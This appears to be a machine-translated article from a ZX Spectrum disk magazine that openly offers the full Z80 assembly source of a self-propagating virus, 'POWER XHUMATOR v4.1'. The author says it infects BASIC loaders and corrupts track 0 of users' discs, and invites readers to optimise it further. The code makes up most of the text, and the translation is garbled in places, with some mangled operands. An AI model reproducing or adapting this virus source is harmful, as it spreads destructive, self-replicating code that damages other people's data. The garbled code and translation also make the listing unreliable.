FILLED KETTLE
V. How to make a real virus on the Spectrum
(From the unsolved mysteries of the processor Z-80)
This on the Spectrum was not yet! People,
offer you the source of global development - the virus named
POWER XHUMATOR version 4.1. Originally
This virus took # A3 bytes and wrote here
so, from the bulldozer. But I liked the idea and I
optimized code of the virus to # 8A bytes and even wrote
installyashku. What is he doing? A He creates the most
despicable - 0 fouls on track Your precious discs, and even
more despicable, because that is what defiles XHUM 0 tracks
still and on your scratch disk. XHUM built in BASIC-loaders of
various prog, not exceeding # XX72 byte and waits
hours.
Moreover, the virus is capable of self-propagating and the
files containing the virus inside, can be subjected to any
violence, such as copying, compression, transportirovka6 mail,
etc. Of course, not guaranteed efficiency of the virus with
100% of the files, but, excuse me, it's just vsetaki # 8A bytes.
I will not go into the operating principle -
Below is the source, and those who are interested, will be
dismantled around themselves. And for roundnose guys I left
roundnose comments that will help them understand the unknown.
;------------------------------; POWER XHUMATOR v4.1
; Special Edition For ZX-NET
; Koded 'Optimized By
;! MPeR! 0/P0WER HaCkZ All! ANcE
; 0f PR0 HaCkZ DyNaZ7Y
;------------------------------
LEN EQU # 8A
ORG # 8000
RST # 38; SP-2> SP, PC> (SP)
, # 38> PC
EXX; BC <> BC ', DE <> DE'
; HL <> HL '
DEC SP; SP-1> SP
DEC SP; SP-1> SP
POP AF; (SP)> AF, SP +2> SP
EX AF, AF '; AF <> AF'
LD HL, # C9F1; # C9F1> HL
LD (# 5CC2), HL; HL> (# 5CC2)
LD DE, # 0000 # 0000> DE
LD BC, # 0905, # 0905> BC
PUSH HL; SP-2> SP, HL> (SP)
PUSH HL; SP-2> SP, HL> (SP)
CALL # 3D13; SP-2> SP, PC> (SP)
; # 3D13> PC
EX (SP), HL; (SP) <> HL
FIND POP AF; (SP)> AF, SP +2> SP
LD A, (HL); (HL)> A
POP DE; (SP)> DE, SP +2> SP
AND A; A AND A> A
JR Z, EXIT; EXIT> PC if Z
PUSH DE; SP-2> SP, DE> (SP)
LD DE, # 0004 # 0004> DE
ADD HL, DE; HL + DE> HL
ADD HL, DE; HL + DE> HL
LD A, (HL); (HL)> A
INC HL; HL +1> HL
LD C, (HL); (HL)> C
PUSH HL; SP-2> SP, HL> (SP)
INC HL; HL +1> HL
LD B, (HL); (HL)> B
ADD HL, DE; HL + DE> HL
LD E, (HL); (HL)> E
INC HL; HL +1> HL
LD D, (HL); (HL)> D
INC HL; HL +1> HL
CP "B"; A-"B"
JR NZ, FIND; FIND> PC if NZ
LD A, C; C> A
CP # FD-LEN; A-# FD + LEN
JR NC, FIND; FIND> PC if NC
POP HL; (SP)> HL, SP +2> SP
ADD A, LEN; A + LEN> A
LD (HL), A; A> (HL)
LD HL, # DD3B; # DD3B> HL
PUSH BC; SP-2> SP, BC> (SP)
PUSH DE; SP-2> SP, DE> (SP)
PUSH HL; SP-2> SP, HL> (SP)
PUSH BC; SP-2> SP, BC> (SP)
PUSH BC; SP-2> SP, BC> (SP)
PUSH HL; SP-2> SP, HL> (SP)
INC B; B +1> B
LD C, # 05; # 05> C
CALL # 3D13; SP-2> SP, PC> (SP)
; # 3D13> PC
POP HL; (SP)> HL, SP +2> SP
POP BC; (SP)> BC, SP +2> SP
ADD HL, BC; HL + BC> HL
PUSH HL; SP-2> SP, HL> (SP)
PUSH HL; SP-2> SP, HL> (SP)
EX DE, HL; DE <> HL
LD HL, LEN; LEN> HL
PUSH HL; SP-2> SP, HL> (SP)
ADD HL, DE; HL + DE> HL
EX DE, HL; DE <> HL
LDIR; (HL)> (DE) <
; HL +1> HL, DE +1> DE
; BC-1> BC, BC> 0?
POP BC; (SP)> BC, SP +2> SP
POP DE; (SP)> DE, SP +2> SP
EX AF, AF '; AF <> AF'
PUSH AF; SP-2> SP, AF> (SP)
POP HL; (SP)> HL, SP +2> SP
DEC HL; HL-1> HL
LDIR; (HL)> (DE) <
; HL +1> HL, DE +1> DE
; BC-1> BC, BC> 0?
POP DE; (SP)> DE, SP +2> SP
POP BC; (SP)> BC, SP +2> SP
LD H, D; D> H
LD L, E; E> L
RES # 07, D; # 00> D (# 07)
LD A, # 3D; # 3D> A
CPDR;> A = (HL)
; HL +1> HL, BC-1> BC
; BC> 0?
ADD A, (HL); (HL)> A <
CP # 50; A-# 50
JR NZ, SAVE; SAVE> PC if NZ
LD (HL), E; E> (HL)
INC HL; HL +1> HL
LD (HL), D; D> (HL)
SAVE POP HL; (SP)> HL, SP +2> SP
POP DE; (SP)> DE, SP +2> SP
POP BC; (SP)> BC, SP +2> SP
INC B; B +1> B
LD C, # 06; # 06> C
CALL # 3D13; SP-2> SP, PC> (SP)
; # 3D13> PC
EXIT POP HL; (SP)> HL, SP +2> SP
LD DE, # 0000 # 0000> DE
LD BC, # 0906, # 0906> BC
CALL # 3D13; SP-2> SP, PC> (SP)
; # 3D13> PC
EXX; BC <> BC ', DE <> DE'
; HL <> HL '
JP # 3D13; # 3D13> PC
Perhaps all this time. Try
cut my code by at least 1 byte without
loss of functionality XHUMa and
if you get it, then I zvyaknite
somehow.